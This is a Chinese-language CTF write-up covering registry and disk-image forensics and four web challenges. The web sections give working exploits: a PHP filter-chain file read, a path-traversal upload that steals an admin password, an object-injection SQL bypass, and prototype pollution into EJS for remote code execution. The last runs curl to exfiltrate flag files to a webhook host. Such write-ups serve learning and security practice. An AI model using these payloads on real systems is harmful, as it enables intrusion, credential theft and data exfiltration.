Artifact

通过在 linux 中运行file命令,发现附件是一个 Windows 注册表文件。
这里用WRR分析

我们可能会搜索 (Ctrl+f) powershell.exe或 cmd.exe,因为 exe 文件总是使用这些服务来执行。
alt text
alt text
我们得到了 2 个结果。在第二个结果中滚动到最后发现名为DeadPotato-NET4.exe的可疑.exe文件。
alt text

搜索确定这是一个用来提权的程序

关于首次执行时间,RegRipper好像能直接看到,WRR中可以看到,与时间戳关联的二进制数据采用REG_BINARY格式,显示如下:
alt text

相关的 8 字节时间戳为:

8a 23 3f 9a b0 ea da 01

为了解释这个时间戳,我们使用 Python 脚本将二进制 FILETIME 值转换为人类可读的格式。以下是用于转换的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import struct
from datetime import datetime, timedelta

# Example binary data from the registry
binary_data = bytes([0x8a, 0x23, 0x3f, 0x9a, 0xb0, 0xea, 0xda, 0x01])

# Convert the binary data to a 64-bit integer (FILETIME)
filetime = struct.unpack("<Q", binary_data)[0]

# FILETIME represents time in 100-nanosecond intervals since 1601-01-01
windows_epoch = datetime(1601, 1, 1)
unix_epoch = datetime(1970, 1, 1)

# Calculate the difference in time
timestamp = windows_epoch + timedelta(microseconds=filetime / 10)
unix_timestamp = timestamp - unix_epoch

# Convert to human-readable format
print("Converted timestamp:", timestamp)
print("Unix timestamp:", int(unix_timestamp.total_seconds()))

使用提取的 8 字节二进制数据运行脚本会产生以下输出:

1
2
Converted timestamp: 2024-08-09 22:42:13
Unix timestamp: 1710522083

最终flagBHFlagY{DeadPotato-NET4.exe_09/08/2024_22:42:13}

NotFS

初始分析

  • 下载获得磁盘镜像文件 Chall.img
  • 首先我们将使用mmls命令显示卷系统的分区布局(分区表)。来自SleuthKit工具包。

分区分析

  • 使用 mmls 工具显示分区布局:
1
mmls Chall.img
  • 发现一个NTFS/exFAT分区,扇区范围:39168-1063168
    alt text

挂载尝试

  • 首次尝试直接挂载失败
1
2
3
dd if=Chall.img of=ch_1 bs=512 skip=0 count=1024001 
sudo mkdir -p /mnt/disk
sudo mount ch_1 /mnt/disk
  • 学习loop设备概念:在类Unix系统中,loop设备使文件可作为块设备访问

正确挂载流程

  1. 设置loop设备:
1
sudo losetup /dev/loop1 /home/kali/Desktop/Chall.img
  1. 检查loop设备关联:
1
losetup -a
  1. 使用偏移量挂载:
1
sudo mount -o loop,offset=$((0x100000)) /dev/loop1 /mnt/disk

件分析

  • 列出挂载目录内容,发现大量 .webp 文件和一个 .png 文件
  • 复制PNG文件到桌面进行分析

修复PNG文件

  • 发现PNG文件无法打开
  • 使用hex编辑器检查发现缺少PNG魔数
  • 添加PNG魔数头:89 50 4E 47 0D 0A 1A 0A
  • 成功修复并打开PNG文件,找到flag

最终flag
alt text

手动挂载是很帅,但是Rstudio直接秒了。。。

Free Flag

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

function isRateLimited($limitTime = 1) {
$ipAddress=$_SERVER['REMOTE_ADDR'];
$filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
$lastRequestTime = @file_get_contents($filename);

if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
return true;
}

file_put_contents($filename, time());
return false;
}
if(isset($_POST['file']))
{
if(isRateLimited())
{
die("Limited 1 req per second");
}
$file = $_POST['file'];
if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
{
die("catched");
}
else
{
echo file_get_contents($file);
}
}
?>

传入file任意文件读,但是读出来的文件得以<?php或者<html开头,那么不能直接读/flag.txt

通过使用wrapwarp工具构造符合前后缀要求的payload,可绕过文件内容检查。以下命令生成payload:

1
python wrapwrap.py /flag.txt "<?php" "?>" 100

php_filter_chain_generator也可以生成payload

最终payload

1
2
3
4
5
6
7
POST / HTTP/1.1
Host: a78a1875e57a99f71f265.playat.flagyard.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 81703
Cookie: connect.sid=session;

file=php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode...

Watermelon

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from flask import Flask, request, jsonify, session, send_file
from functools import wraps
from flask_sqlalchemy import SQLAlchemy
import os, secrets
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SECRET_KEY'] = secrets.token_hex(20)
app.config['UPLOAD_FOLDER'] = 'files'

db = SQLAlchemy(app)

class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(120), nullable=False)

class File(db.Model):
id = db.Column(db.Integer, primary_key=True)
filename = db.Column(db.String(255), nullable=False)
filepath = db.Column(db.String(255), nullable=False)
uploaded_at = db.Column(db.DateTime, nullable=False, default=db.func.current_timestamp())
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

user = db.relationship('User', backref=db.backref('files', lazy=True))

def create_admin_user():
admin_user = User.query.filter_by(username='admin').first()
if not admin_user:
admin_user = User(username='admin', password= secrets.token_hex(20))
db.session.add(admin_user)
db.session.commit()
print("Admin user created.")
else:
print("Admin user already exists.")

with app.app_context():
db.create_all()
create_admin_user()

def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session:
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function

def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function

@app.route('/')
def index():
return 'Welcome to my file sharing API'

@app.post("/register")
def register():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400

username = request.json['username']
password = request.json['password']

if User.query.filter_by(username=username).first():
return jsonify({"Error": "Username already exists"}), 409

new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()

return jsonify({"Message": "User registered successfully"}), 201

@app.post("/login")
def login():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400

username = request.json['username']
password = request.json['password']

user = User.query.filter_by(username=username, password=password).first()
if not user:
return jsonify({"Error": "Invalid username or password"}), 401

session['user_id'] = user.id
session['username'] = user.username
return jsonify({"Message": "Login successful"}), 200

@app.get('/profile')
@login_required
def profile():
return jsonify({"username": session['username'], "user_id": session['user_id']})

@app.get('/files')
@login_required
def list_files():
user_id = session.get('user_id')
files = File.query.filter_by(user_id=user_id).all()
file_list = [{"id": file.id, "filename": file.filename, "filepath": file.filepath, "uploaded_at": file.uploaded_at} for file in files]
return jsonify({"files": file_list}), 200


@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
if 'file' not in request.files:
return jsonify({"Error": "No file part"}), 400

file = request.files['file']
if file.filename == '':
return jsonify({"Error": "No selected file"}), 400

user_id = session.get('user_id')
if file:
blocked = ["proc", "self", "environ", "env"]
filename = file.filename

if filename in blocked:
return jsonify({"Error":"Why?"})

user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
os.makedirs(user_dir, exist_ok=True)


file_path = os.path.join(user_dir, filename)

file.save(f"{user_dir}/{secure_filename(filename)}")


new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
db.session.add(new_file)
db.session.commit()

return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201

return jsonify({"Error": "File upload failed"}), 500

@app.route("/file/<int:file_id>", methods=["GET"])
@login_required
def view_file(file_id):
user_id = session.get('user_id')
file = File.query.filter_by(id=file_id, user_id=user_id).first()

if file is None:
return jsonify({"Error": "File not found or unauthorized access"}), 404

try:
return send_file(file.filepath, as_attachment=True)
except Exception as e:
return jsonify({"Error": str(e)}), 500

@app.get('/admin')
@admin_required
def admin():
return os.getenv("FLAG","BHFlagY{testing_flag}")

if __name__ == '__main__':
app.run(host='0.0.0.0')

漏洞很明显,file_path可控file_path = os.path.join(user_dir, filename),那么思路就很顺畅了

  1. 注册普通用户
  2. 路径穿越读sqlite数据库获取admin的密码
  3. 以admin身份登录
  4. 访问/admin获取flag
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /register HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 35

{"username":"123","password":"123"}
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /login HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 35

{"username":"123","password":"123"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IjEyMyJ9.ZtRBcQ.E882ma9geTCRMb3xDWmbvo1VRVE;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH4FFQ6zSbIax3PCr
Content-Length: 197

------WebKitFormBoundaryH4FFQ6zSbIax3PCr
Content-Disposition: form-data; name="file"; filename="../../instance/db.db"
Content-Type: text/plain

123
------WebKitFormBoundaryH4FFQ6zSbIax3PCr--

从数据库db.db中读取管理员密码,然后以管理员身份登录

1
2
3
4
5
6
7
8
9
GET /file/1 HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IjEyMyJ9.ZtRBcQ.E882ma9geTCRMb3xDWmbvo1VRVE;
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /login HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 74

{"username":"admin","password":"0afc1e0ed61beb49f5f41838bcb0d8bf091b2796"}
1
2
3
4
5
6
7
8
9
10
GET /admin HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZtRDJQ.VXgYGJ3b3UoaFXUd4D4yRg6QIlU;

Notey

databse.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
const mysql = require('mysql');
const crypto=require('crypto');


const pool = mysql.createPool({
host: '127.0.0.1',
user: 'ctf',
password: 'ctf123',
database: 'CTF',
waitForConnections: true,
connectionLimit: 10,
queueLimit: 0
});

// One liner to wait a second
async function wait() {
await new Promise(r => setTimeout(r, 1000));
}

function insertAdminUserOnce(callback) {
const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';
const username = 'admin';
const password = crypto.randomBytes(32).toString("hex");

pool.query(checkUserQuery, [username], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}

const userCount = results[0].count;

if (userCount === 0) {
pool.query(insertUserQuery, [username, password], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
console.log(`Admin user inserted successfully with this passwored ${password}.`);
callback(null, results);
});
} else {
console.log('Admin user already exists. No insertion needed.');
callback(null, null);
}
});
}

function insertAdminNoteOnce(callback) {
const checkNoteQuery = 'SELECT COUNT(*) AS count FROM notes WHERE username = "admin"';
const insertNoteQuery = 'INSERT INTO notes(username,note,secret)values(?,?,?)';
const flag = process.env.DYN_FLAG || "placeholder";
const secret = crypto.randomBytes(32).toString("hex");

pool.query(checkNoteQuery, [], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}

const NoteCount = results[0].count;

if (NoteCount === 0) {
pool.query(insertNoteQuery, ["admin", flag, secret], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
console.log(`Admin Note inserted successfully with this secret ${secret}`);
callback(null, results);
});
} else {
console.log('Admin Note already exists. No insertion needed.');
callback(null, null);
}
});
}


function login_user(username,password,callback){

const query = 'Select * from users where username = ? and password = ?';

pool.query(query, [username,password], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}

function register_user(username, password, callback) {
const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';

pool.query(checkUserQuery, [username], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}

const userCount = results[0].count;

if (userCount === 0) {
pool.query(insertUserQuery, [username, password], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
console.log('User registered successfully.');
callback(null, results);
});
} else {
console.log('Username already exists.');
callback(null, null);
}
});
}


function getNotesByUsername(username, callback) {
const query = 'SELECT note_id,username,note FROM notes WHERE username = ?';
pool.query(query, [username], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}

function getNoteById(noteId, secret, callback) {
const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
console.log(noteId,secret);
pool.query(query, [noteId,secret], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}

function addNote(username, content, secret, callback) {
const query = 'Insert into notes(username,secret,note)values(?,?,?)';
pool.query(query, [username, secret, content], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}


module.exports = {
getNotesByUsername, login_user, register_user, getNoteById, addNote, wait, insertAdminNoteOnce, insertAdminUserOnce
};

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
const express = require('express');
const bodyParser = require('body-parser');
const crypto=require('crypto');
var session = require('express-session');
const db = require('./database');
const middleware = require('./middlewares');

const app = express();


app.use(bodyParser.urlencoded({
extended: true
}))

app.use(session({
secret: crypto.randomBytes(32).toString("hex"),
resave: true,
saveUninitialized: true
}));



app.get('/',(req,res)=>{
res.send("Welcome")
})

app.get('/profile', middleware.auth, (req, res) => {
const username = req.session.username;

db.getNotesByUsername(username, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
res.json(notes);
});
});

app.get('/viewNote', middleware.auth, (req, res) => {
const { note_id,note_secret } = req.query;

if (note_id && note_secret){
db.getNoteById(note_id, note_secret, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
return res.json(notes);
});
}
else
{
return res.status(400).json({"Error":"Missing required data"});
}
});


app.post('/addNote', middleware.auth, middleware.addNote, (req, res) => {
const { content, note_secret } = req.body;
db.addNote(req.session.username, content, note_secret, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}

if (results) {
return res.json({ message: 'Note added successful' });
} else {
return res.status(409).json({ error: 'Something went wrong' });
}
});
});


app.post('/login', middleware.login, (req, res) => {
const { username, password } = req.body;

db.login_user(username, password, (err, results) => {
if (err) {
console.log(err);
return res.status(500).json({ error: 'Internal Server Error' });
}

if (results.length > 0) {
req.session.username = username;
return res.json({ message: 'Login successful' });
} else {
return res.status(401).json({ error: 'Invalid username or password' });
}
});
});

app.post('/register', middleware.login, (req, res) => {
const { username, password } = req.body;

db.register_user(username, password, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}

if (results) {
return res.json({ message: 'Registration successful' });
} else {
return res.status(409).json({ error: 'Username already exists' });
}
});
});

db.wait().then(() => {
db.insertAdminUserOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
db.insertAdminNoteOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
app.listen(3000, () => {
console.log('Server started on http://localhost:3000');
});
}
});
}
});
});

middleware.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const auth = (req, res, next) => {
ssn = req.session
if (ssn.username) {
return next();
} else {
return res.status(401).send('Authentication required.');
}
};


const login = (req,res,next) =>{
const {username,password} = req.body;
if ( !username || ! password )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof username !== "string" || typeof password !== "string")
{
return res.status(400).send("Wrong data format");
}
next();
}

const addNote = (req,res,next) =>{
const { content, note_secret } = req.body;
if ( !content || ! note_secret )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof content !== "string" || typeof note_secret !== "string")
{
return res.status(400).send("Wrong data format");
}
else if( !(content.length > 0 && content.length < 255) || !( note_secret.length >=8 && note_secret.length < 255) )
{
return res.status(400).send("Wrong data length");
}
next();
}

module.exports ={
auth, login, addNote
};

阅读 database.js 后,我们了解到系统会创建一个管理员用户,并在该用户中添加一条包含flag的笔记。

因此,本挑战的目标是能够读取管理员用户中的笔记。

查看 index.js 中的 viewNote 函数可知,我们需要通过身份验证并同时持有 note_id 和 secret_id。

viewNote中的认证中间件函数位于middle.js代码中,其唯一作用是验证session cookie是否包含username属性——且不考虑实际用户名内容。

为深入测试代码,首先编写了Python脚本实现注册、登录及添加笔记功能。
alt text

注意到note_id从67开始。

再次查看 index.js 中的源代码,你会注意到它以以下代码片段开头:

1
2
3
app.use(bodyParser.urlencoded({
extended: true
}))

谷歌搜索显示,该漏洞曾在 https://ctftime.org/writeup/23047 中被利用。

此设置指示正文解析器接受请求正文中的数组和对象,

例如以下格式的数据:

1
user[name]=John&user[age]=30

包解析器将其解释为一个对象:

1
user = { name: 'John', age: 30 }

由于我们知道note_id可能是66,但不知道note_secret,因此可以尝试在note_secret位置传递一个包含已知属性的对象。以下是我尝试的payload:

1
note_id=66&note_secret[note_id]=""

包解析器应将其解释为对象:

1
note_secret = { note_id: 66 }

这会使SQL语句变成下面这样:

1
Select note_id,username,note FROM notes WHERE note_id = 66 and secret= `note_id` = 66;

因此最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import threading

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

url = "http://ab11412c8b75502acc276.playat.flagyard.com/"

SESSION = requests.Session()
SESSION.verify = False

def register(username, password):
data = {"username": username, "password": password}
response = SESSION.post(url + "register", data=data)
return response

def login(username, password):
data = {"username": username, "password": password}
response = SESSION.post(url + "login", data=data)
return response

def addNote(content, note_secret):
data = {"content": content, "note_secret": note_secret}
response = SESSION.post(url + "addNote", data=data)
return response

def viewNote(note_id, note_secret):
params = {"note_id": note_id, "note_secret[note_id]": note_secret}
response = SESSION.get(url + "viewNote", params=params)
return response

def getProfile(username):
params = {"username": username}
response = SESSION.get(url + "viewNote", params=params)
response = SESSION.get(url + "profile")
return response

def main():
user = "test1"
passwd = "test1"
note = "test1"
note_secret = "Test@123"

# register_response = register(user, passwd)
# print("Register Response:", register_response.status_code, register_response.text)

login_response = login(user, passwd)
print("Login Response:", login_response.status_code, login_response.text)

profile_response = getProfile(user)
print("Profile Response:", profile_response.status_code, profile_response.text)

view_note_response = viewNote(66, note_secret)
print("View Note Response:", view_note_response.status_code, view_note_response.text)

# add_note = addNote(note, note_secret)
# print("Note Added:", add_note.status_code, add_note.text)

if __name__ == "__main__":
main()

alt text

Fastest Delivery Service

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const crypto = require("crypto");

const app = express();
const PORT = 3000;

// In-memory data storage
let users = {};
let orders = {};
let addresses = {};

// Inserting admin user
users['admin'] = { password: crypto.randomBytes(16).toString('hex'), orders: [], address: '' };

// Middleware
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.use(session({
secret: crypto.randomBytes(16).toString('hex'),
resave: false,
saveUninitialized: true
}));

// Routes
app.get('/', (req, res) => {
res.render('index', { user: req.session.user });
});
app.get('/login', (req, res) => {
res.render('login');
});

app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];

if (user && user.password === password) {
req.session.user = { username };
res.redirect('/');
} else {
res.send('Invalid credentials. <a href="/login">Try again</a>.');
}
});

app.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/');
});

app.get('/register', (req, res) => {
res.render('register');
});

app.post('/register', (req, res) => {
const { username, password } = req.body;

if (Object.prototype.hasOwnProperty.call(users, username)) {
res.send('Username already exists. <a href="/register">Try a different username</a>.');
} else {
users[username] = { password, orders: [], address: '' };
req.session.user = { username };
res.redirect(`/address`);
}
});

app.get('/address', (req, res) => {
const { user } = req.session;
if (user && users[user.username]) {
res.render('address', { username: user.username });
} else {
res.redirect('/register');
}
});

app.post('/address', (req, res) => {
const { user } = req.session;
const { addressId, Fulladdress } = req.body;

if (user && users[user.username]) {
addresses[user.username][addressId] = Fulladdress;
users[user.username].address = addressId;
res.redirect('/login');
} else {
res.redirect('/register');
}
});



app.get('/order', (req, res) => {
if (req.session.user) {
res.render('order');
} else {
res.redirect('/login');
}
});

app.post('/order', (req, res) => {
if (req.session.user) {
const { item, quantity } = req.body;
const orderId = `order-${Date.now()}`;
orders[orderId] = { item, quantity, username: req.session.user.username };
users[req.session.user.username].orders.push(orderId);
res.redirect('/');
} else {
res.redirect('/login');
}
});

app.get('/admin', (req, res) => {
if (req.session.user && req.session.user.username === 'admin') {
const allOrders = Object.keys(orders).map(orderId => ({
...orders[orderId],
orderId
}));
res.render('admin', { orders: allOrders });
} else {
res.redirect('/');
}
});


// Start server
app.listen(PORT, '0.0.0.0', () => {
console.log(`Server is running on http://localhost:${PORT}`);
});

分析代码后发现,根据Dockerfile配置,密钥存储在服务器 /tmp/flag_{随机字符串}.txt 文件中。因此我们需要获取远程代码执行权限(RCE)来提取密钥。经进一步排查,在地址添加函数中发现了服务器端原型污染漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
app.post('/address', (req, res) => {
const { user } = req.session;
const { addressId, Fulladdress } = req.body;

if (user && users[user.username]) {
addresses[user.username][addressId] = Fulladdress;
users[user.username].address = addressId;
res.redirect('/login');
} else {
res.redirect('/register');
}
});

乍一看,发现它使用用户传递的参数修改对象

1
addresses[user.username][addressId] = Fulladdress;

这让我意识到存在prototype pollution

我们可以控制这段代码中的所有参数

1
2
3
4
username : /register  
addressId, FullAddress: /address

addresses["__proto__"][<user_input>] = <user_input>;

此处,addresses[user.username][addressId] = Fulladdress; 接受请求中的两个参数:addressIdFulladdress。要利用此服务器端原型污染漏洞,我们需要控制会话中的 user.username。由于应用程序使用 ejs 引擎,若能控制 user.username,即可实现远程代码执行(RCE)。

发现可以通过注册用户名 __proto__ 的新用户来控制 user.username。接着可添加地址,设置 addressId: escapeFunctionFulladdress: JSON.stringify;process.mainModule.require('child_process').exec('curl "http://WEHOOK/$(cat /tmp/*.txt | base64 -w 0)"')

接着添加另一个地址,设置 addressId: clientFulladdress: true

最后访问 http://id_here.playat.flagyard.com/ 索引页或任意页面,可观察到命令已执行,通过webhook即可获取flag。

因服务器限制会导致会话在3秒内失效,故采用自动化脚本实现漏洞利用:该脚本注册新用户、登录系统并触发服务端原型链污染漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

base_url = "http://ad8a40dc28e9f70f83bf8.playat.flagyard.com"
register_url = f"{base_url}/register"
address_url = f"{base_url}/address"

register_data = {
"username": "__proto__",
"password": "12345"
}

address_data1 = {
"addressId": " ",
"Fulladdress": "JSON.stringify; process.mainModule.require('child_process').exec('curl \"http://id_here.oastify.com/$(cat /tmp/*.txt | base64 -w 0)\"')"
}

address_data2 = {
"addressId": "client",
"Fulladdress": "true"
}

sess = requests.Session()
register_response = sess.post(register_url, data=register_data)
print(f"Registration response: {register_response.status_code}")

address_response = sess.post(address_url, data=address_data1)
print(f"address_response 1 response: {address_response.status_code}")

address_response = sess.post(address_url, data=address_data2)
print(f"address_response 2 response: {address_response.status_code}")

sess.get(base_url)